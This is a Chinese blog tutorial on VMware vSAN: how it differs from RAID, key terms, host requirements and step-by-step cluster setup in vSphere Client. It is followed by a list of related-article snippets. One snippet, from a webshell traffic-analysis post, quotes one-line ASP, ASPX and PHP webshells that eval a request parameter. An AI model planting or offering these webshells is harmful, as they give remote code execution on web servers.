ESXi vSAN 整合多主机磁盘

news2024/11/26 13:54:00

VSAN 与 RAID区别:

vSAN 可以管理 ESXi 主机,且只能与 ESXi 主机配合使用。一个 vSAN 实例仅支持一个群集。vSAN 不需要外部网络存储来远程存储虚拟机文件,例如光纤通道 (FC) 或存储区域网络 (SAN)

使用传统存储,存储管理员可以在不同的存储系统上预先分配存储空间。vSAN 会自动将 ESXi 主机的本地物理存储资源转化为单个存储池。可以根据服务质量要求划分这些池,并将其分配给虚拟机和应用程序。

vSAN 的运行方式与基于 LUN 或 NFS 共享的传统存储卷不同。iSCSI 目标服务使用 LUN 在远程主机上启用启动器,以便向 vSAN 群集中的存储设备传输块级别数据。

某些标准存储协议(如 FCP)不适用于 vSAN。

实现方式:VSAN是一种软件定义的存储解决方案,通过在主机上使用本地存储资源创建分布式存储集群。而RAID磁盘阵列是一种硬件存储解决方案,通过将多个磁盘驱动器组合起来,实现数据保护和性能优化。

灵活性:VSAN提供了更高的灵活性,可以根据需求对存储进行动态扩展和调整。同时,VSAN还支持虚拟机级别的数据管理,可以实现更精细的控制和管理。而RAID磁盘阵列通常需要在硬件层面进行配置,缺乏灵活性。

成本:VSAN相对较低的成本是其优势之一,因为它使用主机上的本地存储资源,无需额外的硬件投资。相比之下,RAID磁盘阵列需要购买专用的硬件设备,成本较高。

专业术语

1.磁盘组是为vSAN集群提供性能和容量的主机和物理设备组上的物理存储容量单元。在向 vSAN集群提供其本地设备的每个 ESXi 主机上,设备按磁盘组形式进行组织

每个磁盘组必须具有一个闪存缓存设备和一个或多个容量设备。用于缓存的设备不能在磁盘组之间共享,也不能用于其他目的。单个缓存设备必须专用于单个磁盘组。

混合集群中闪存设备用于缓存层,磁盘用于存储容量层。闪存缓存设备必须至少提供虚拟机需要使用的预期存储容量的 10%

全闪存集群中,闪存设备用于缓存和容量vSAN 会将缓存层仅用于写入缓存。写入缓存必须能够处理频繁的写入活动

2.所用容量: 所用容量指一个或多个虚拟机随时使用的物理容量。所用容量由多种因素决定,包括 VMDK、保护副本等内容所使用的容量。计算缓存大小时,不考虑用于保护副本的容量。

3.基于对象的存储:vSAN以灵活的数据容器(称为对象)形式存储并管理数据。对象是指其数据和元数据分布于集群中的逻辑卷。例如,每个 VMDK 是一个对象,每个快照也是一个对象。在 vSAN数据存储上置备虚拟机时,vSAN 为每个虚拟磁盘创建一组由多个组件组成的对象。还创建了虚拟机主页命名空间,用作存储所有虚拟机元数据文件的容器对象。基于已分配的虚拟机存储策略,vSAN单独置备和管理每个对象,同时还可能需要为每个对象创建一个 RAID 配置。

4.对象-组件:每个对象由一组组件组成,由虚拟机存储策略中正在使用的功能决定。例如,通过将允许的故障数主要级别设置为 1,vSAN 可确保副本和见证等保护组件放置在vSAN 集群中的不同主机上,其中每个副本是一个对象组件。必要时,vSAN也可以将大型对象分成多个组件

vSAN数据存储包含以下对象类型:

-虚拟机主页命名空间:所有虚拟机配置文件均存储在虚拟机主目录中,例如 .vmx、日志文件、vmdk 以及快照增量描述文件。

-VMDK:虚拟机磁盘或 .vmdk 文件,用于存储虚拟机硬盘驱动器的内容。

-虚拟机交换对象:打开虚拟机电源时创建。

-快照增量 VMDK:生成虚拟机快照时创建。

-内存对象:创建或挂起虚拟机时,选择快照内存选项时创建。

5.vSAN数据存储:在集群上启用 vSAN后,将创建一个vSAN 数据存储。其在可能存在的数据存储列表上将以其他数据存储类型显示,包括 Virtual Volumes、VMFS 和 NFS。单个vSAN数据存储可以为每个虚拟机或每个虚拟磁盘提供不同的服务级别。

vSAN提供集群中所有主机(无论是否向集群提供存储)均可访问的单个vSAN 数据存储。每个主机均可挂载任何其他数据存储,包括 Virtual Volumes、VMFS 或 NFS。

可以使用 Storage vMotion 在 vSAN数据存储、NFS 数据存储和 VMFS 数据存储之间移动虚拟机。

仅用于容量的磁盘和闪存设备可以提供数据存储容量。用于闪存缓存的设备不计入数据存储的一部分。

其他专业术语可参考文档自行查看:

https://docs.vmware.com/cn/VMware-vSphere/7.0/com.vmware.vsphere.vsan-planning.doc/GUID-1D8956A2-3F46-49C8-9231-38F3A9D09A0F.html

配置vSAN 整合多主机磁盘

需提前安装VMwarevSphere

1.登陆vSphere Client,右键新建集群,创建一个启用了vSAN的集群。

 

2.右键vSAN集群,添加主机,将EXSI主机添加到vSAN集群中。

vSAN部署选项:

一个标准 vSAN 集群至少包含三个主机。通常情况下,标准 vSAN 集群中的所有主机都位于同一位置,并在相同的第 2 层网络上相连接。全闪存配置需要 10Gb 网络连接,同时也建议对混合配置使用此设置。

双节点 vSAN 集群通常用于远程办公室/分支机构环境,通常运行需要高可用性的少量工作负载。双节点 vSAN 集群中包含的两个主机位于同一位置,且连接到同一网络交换机或直接连接。配置双节点 vSAN 集群时可以将第三个主机用作见证主机,该见证主机可以位于分支机构的远程位置。通常情况下,见证主机与 vCenter Server 一起位于主站点。

vSAN 延伸集群可应对整个站点故障。延伸集群中的主机均匀分布在两个站点上。两个站点的网络延迟不得超过 5 毫秒。vSAN 见证主机位于第三个站点上,可提供见证功能。在两个数据站点之间出现网络分区的情况下,见证主机还充当仲裁主机。仅见证组件等元数据存储在见证主机上。

注意:改主机需确保如下都配置好

2-1.选中EXSI主机,配置-网络-VMKernel适配器,勾选vSAN以启用vSAN流量转发。下面我是编辑的EXSI默认的vmk0适配器(连接类型是VMkernel 网络适配器)

2-2.用于vSAN的容量磁盘必须是未格式化的磁盘(不可用于VMFS存储:即创建VMFS文件系统格式化),若已在存储菜单创建了数据存储,需卸载 并 删除此数据存储,此磁盘才可用于vSAN

用于vSAN的缓存磁盘也必须是未格式化的磁盘且存储设备已标记为闪存驱动器类型并且不可用于虚拟闪存

2-3.有关集群的主机配置的要求和建议。

确保至少有三个主机为 vSAN 数据存储提供存储。由于发生故障时需要进行维护和修复操作,因此至少需要向集群中添加四个主机。指定具有统一配置的主机以在集群中获得最佳存储平衡。

不要将仅有计算资源的主机添加到集群中,以避免提供存储的主机上存储组件分布不平衡。需要大量存储空间且在仅计算主机上运行的虚拟机可能将大量组件存储在单个容量主机上。因此,集群中的存储性能可能较低。

请勿为了节电而在主机上配置激进的 CPU 电源管理策略。某些对 CPU 速度延迟敏感的应用程序的性能可能较低。有关 CPU 电源管理策略的信息,请参见vSphere 资源管理文档。

如果您的集群包含刀片服务器,可以考虑用连接到刀片服务器的外部存储机箱来扩展数据存储容量。确保存储机箱列出在VMware 兼容性指南的 vSAN 部分中。

考虑您置于混合或全闪存磁盘配置的工作负载配置。

要获得高级别的可预测性能,请提供全闪存磁盘组集群

要在性能和成本获得之间平衡,请提供混合磁盘组集群

确认每个主机至少具有 32 GB 内存

存储 I/O 控制器、驱动程序和固件检查

验证存储 I/O 控制器、驱动程序和固件版本是否已经过认证并已在 VCG 网站 (http://www.vmware.com/resources/compatibility/search.php)  兼容性指南的“vSAN”部分列出

确认该控制器配置为直通还是 RAID 0 模式。

认该控制器缓存和高级功能已禁用。如果无法禁用缓存,则必须将读取缓存设置为 100%。

确认您使用的是具有较高队列深度的控制器。在维护和故障期间,使用队列深度小于 256 的控制器会显著影响您的虚拟机性能。

确认为集群提供存储的 vSAN 主机至少有一个缓存和一个容量设备。vSAN 需要独占访问 vSAN 集群中主机的本地缓存和容量设备。它们无法与其他用途(例如,虚拟闪存文件系统 (VFFS)、VMFS 分区或 ESXi 引导分区)共享这些设备

确认每个主机都至少配置有一个网络适配器(VMKernel适配器勾选vSAN服务)。对于混合配置,确认 vSAN 主机的专用带宽至少为 1 GbE。对于全闪存配置,确认 vSAN 主机的带宽至少为 10 GbE。

验证正在使用的是否为最新版本的 vCenter Server。要使用完整的 vSAN 功能集,加入 vSAN 集群的 ESXi 主机必须为 7.0 Update 1 或更高版本。vSAN 从之前的版本升级期间,您仍可以使用当前磁盘格式版本,但却无法使用许多新的功能。vSAN 7.0 Update 1 及更高版本软件支持所有磁盘格式。

确认您拥有有效的 vSAN 许可证密钥。要使用全闪存功能,您的许可证必须支持该功能。

2-4.依次点击DRS和可用性,点击编辑-启用,以开启DRS和HA

2-5.最后点击监控-SKyline运行状况,确保集群检查无报错即可。

  1. 点击vSAN集群-vSAN-磁盘管理,创建磁盘组 或 声明未使用磁盘即可。

每个磁盘组必须具有一个闪存缓存设备和一个或多个容量设备。用于缓存的设备不能在磁盘组之间共享,也不能用于其他目的。单个缓存设备必须专用于单个磁盘组。

混合集群中,闪存设备用于缓存层,磁盘用于存储容量层。闪存缓存设备必须至少提供虚拟机需要使用的预期存储容量的 10%

全闪存集群中,闪存设备用于缓存和容量,vSAN 会将缓存层仅用于写入缓存。写入缓存必须能够处理频繁的写入活动。

4.启用 vSAN 后,将创建一个数据存储。您可以查看 vSAN 数据存储的容量。

查看 vSAN 数据存储容量。

vSAN 数据存储的大小取决于每台 ESXi 主机的容量设备数量以及集群中 ESXi 主机的数量。例如,如果某台主机具有七个 2 TB 的容量设备,集群中包含八台主机,则存储容量约为 7 x 2 TB x 8 = 112 TB。在使用全闪存配置时,闪存设备将提供容量。对于混合配置,磁盘将计入容量。

快速入门

可以使用快速入门工作流快速地创建、配置和扩展 vSAN 集群。

快速入门功能整合了工作流,使您能够快速配置新的 vSAN 集群,该集群使用建议的默认设置来实现网络、存储和服务等常用功能。快速入门功能将常见任务分组在一起,并使用配置向导指导您完成过程。在每个向导上输入所需信息后,快速入门功能便根据输入的信息配置集群。

集群主机必须具有  ESXi 6.0 Update 2 或更高版本。对于双节点集群,请确认主机运行的是 ESXi 6.1 或更高版本。所有主机都具有类似配置,包括网络设置

可以使用跳过快速入门按钮退出快速入门工作流,并继续手动配置集群及其主机。可以单独添加新主机,然后手动配置这些主机。跳过后,将无法还原集群的快速入门工作流。

快速入门工作流用于新集群将现有的 vSAN 集群升级到 6.7 Update 1 或更高版本时,将显示快速入门工作流。跳过快速入门工作流,并通过 vCenter Server 继续管理集群

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1267403.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大数据之HBase

HBase介绍 Apache的三篇论文,GFS谷歌文件系统->HDFS;MR -> MR ; BigTable ->HBase;HBase是hadoop数据库,一种分布式、可扩展的大数据NoSQL数据库之一。适合对于大量数据进行随机、实时的读写操作 HBase数据模型 Bigtable是一个稀…

2023.11.25 python常用数据集信息查看命令

2023.11.25 python常用数据集信息查看命令 在对数据集进行处理前一般需要对数据集先进行一个基本的观察,根据观察结果和经验确定处理方式。以kaggle员工离职数据集为例进行操作。 打印前5条数据 # 导入包 import pandas as pd# 读入数据 df pd.read_csv(HR_comm…

抖音本地生活服务商申请要多久审核通过?

近年来,随着互联网的普及和社交媒体的兴起,本地生活服务行业也迎来了巨大的发展机遇。作为最受欢迎的短视频平台之一,抖音也不例外。抖音本地生活服务商申请要多久审核通过?这是许多想要加入抖音本地服务行业的人们最关心的问题之…

Redis之秒杀系统

目录 Redis 秒杀 Mysql数据库设计 Mysql秒杀实现 MysqlRedis秒杀实现 秒杀是一种高并发场景,通常指的是在短时间内(秒级别)有大量用户同时访问某个商品或服务,争相抢购的情景。在这种情况下,系统需要处理大量并发请…

vue+jsonp编写可导出html的模版,可通过外部改json动态更新页面内容

效果 导出后文件结果如图所示,点击Index.html即可查看页面,页面所有数据由report.json控制,修改report.json内容即可改变index.html展示内容 具体实现 1. 编写数据存储的json文件 在index.html所在的public页面新建report.json文件&#xff…

Webshell流量分析

Webshell流量分析 常见的一句话木马: asp一句话 <%eval request("pass")%> aspx一句话 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> php一句话 <?php @eval($_POST["pass&…

Java大型智慧工地APP云平台源码带AI智能识别功能

智慧工地为建筑全生命周期赋能&#xff0c;用创新的可视化与智能化方法&#xff0c;降低成本&#xff0c;创造价值。 一、智慧工地APP概述 智慧工地”立足于互联网&#xff0c;采用云计算&#xff0c;大数据和物联网等技术手段&#xff0c;针对当前建筑行业的特点&#xff0c;…

temu的产品发布后在哪里显示

temu是一款备受瞩目的产品&#xff0c;其发布后引起了广泛的关注。但是&#xff0c;很多人对于temu产品发布后在哪里显示存在疑惑。本文将深入探讨temu产品的展示方式和关键特点&#xff0c;帮助读者更好地了解temu产品在发布后的展示位置。 先给大家推荐一款拼多多/temu运营工…

VsCode中使用功能vite创建vue3+js项目报错

VsCode中使用功能vite创建vue3js项目报错 VsCode中使用功能vite创建vue3js项目import模块报错如下处理方法 VsCode中使用功能vite创建vue3js项目import模块报错如下 处理方法 在项目根目录新建jsconfig.json {"compilerOptions": {"baseUrl": "./&q…

如何快速上手一个自己不太熟悉的新项目?

一.熟悉新项目的步骤 第一步:了解业务 技术本身就是为了业务而服务&#xff0c;只有首先搞清楚了业务之后才真正算是步入了这个项目的大门。因此&#xff0c;要先搞清新项目&#xff1a; 是做什么的&#xff1f; 主要面向什么人群使用&#xff1f;主要提供了哪些功能&#x…

hugegraph-server安装部署(docker)

1、安装docker不说了&#xff0c;可以直接看我文章一键安装docker https://blog.csdn.net/qq_41060647/article/details/131568289?spm1001.2014.3001.5502 2、一个docker-compose文件解决。 如果不使用mysql&#xff0c;可以将docker-compose.yml文件中的mysql配置修改为其他…

关于我司在上海物联网行业协会展厅展示项目案例

1 项目背景 上海市物联网行业协会&#xff08;SIOT&#xff09;是由本市物联网行业同业企业及其他相关经济组织自愿组成、实行行业服务和自律管理的非营利性社会团体法人&#xff0c;于2012年&#xff0c;经上海市经济和信息化委同意&#xff0c;在上海市社团局登记成立。 本…

数据科学新招:Python揭秘Prometheus接口

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 在现代云原生应用的监控体系中&#xff0c;Prometheus无疑是一颗璀璨的明星&#xff0c;而Python则是一门多才多艺的编程语言。将它们结合&#xff0c;通过Python读取Prometheus接口数据&#xff0c;成为了实时监…

什么是美颜sdk?集成第三方美颜sdk的步骤

本文将深入探讨如何集成第三方美颜sdk&#xff0c;为直播平台引入更先进、更具吸引力的美颜特效。 第一步&#xff1a;选择合适的第三方美颜sdk 在开始集成美颜sdk之前&#xff0c;首要任务是选择适合自己直播平台需求的第三方美颜sdk。不同的sdk可能具有不同的特色和性能&a…

Modbus RTU、Modbus 库函数

Modbus RTU 与 Modbus TCP 的区别 一般在工业场景中&#xff0c;使用 Modbus RTU 的场景更多一些&#xff0c;Modbus RTU 基于串行协议进行收发数据&#xff0c;包括 RS232/485 等工业总线协议。采用主从问答式&#xff08;master / slave&#xff09;通信。 与 Modbus TCP 不…

软件测评中心▏软件集成测试和功能测试之间的区别和联系简析

软件集成测试是在软件开发周期的后期阶段进行的测试活动&#xff0c;旨在验证系统各个组件之间的接口和交互是否正常工作。而功能测试是一种验证软件系统是否按照需求规格说明书所规定的功能进行正确实现的测试。接下来&#xff0c;我们来分别探讨一下软件集成测试和功能测试有…

可以在电脑桌面展示工作计划表的软件

很多上班族都表示自己在工作时&#xff0c;会面临大量且复杂的工作任务&#xff0c;这时候就会拖延工作&#xff0c;或者感觉时间不够用&#xff0c;所以需要有明确的工作计划来指导自己如何分类时间和精力&#xff0c;确保每项工作任务都能够按时完成。如果需要制定每天的工作…

mysql bin-log日志导出

一、mysql bin-log简介 1.1 什么是bin-log&#xff1f; MySQL bin-log是二进制日志文件&#xff0c;用于记录MySQL数据库中所有更改操作&#xff08;如插入、更新、删除等&#xff09;的详细信息。bin-log文件由MySQL服务器自动创建和维护&#xff0c;并记录了每个更改操作的…

JS:获取当前日期是本年度的第几周

问题 根据当前的日期&#xff08;比如年月日&#xff09;&#xff0c;来得到当前日期属于本年度的第几周 解决 代码&#xff1a; // 获取当前日期是本年的第几周 //参数&#xff1a; a为年 b为月 c为日 function getYearWeek(a, b, c) {var date1 new Date(a, parseInt(b)…

沈阳互联网医院|互联网医院系统|线上医疗发展现状

互联网医院系统已经成为了现代医疗行业中的新趋势&#xff0c;它不仅提供了线上诊疗、药品配送、在线咨询等服务&#xff0c;还为患者提供了更加便捷的医疗服务。那么&#xff0c;互联网医院系统的优势是什么呢&#xff1f; 1、互联网医院系统提供了线上诊疗服务&#xff0c;患…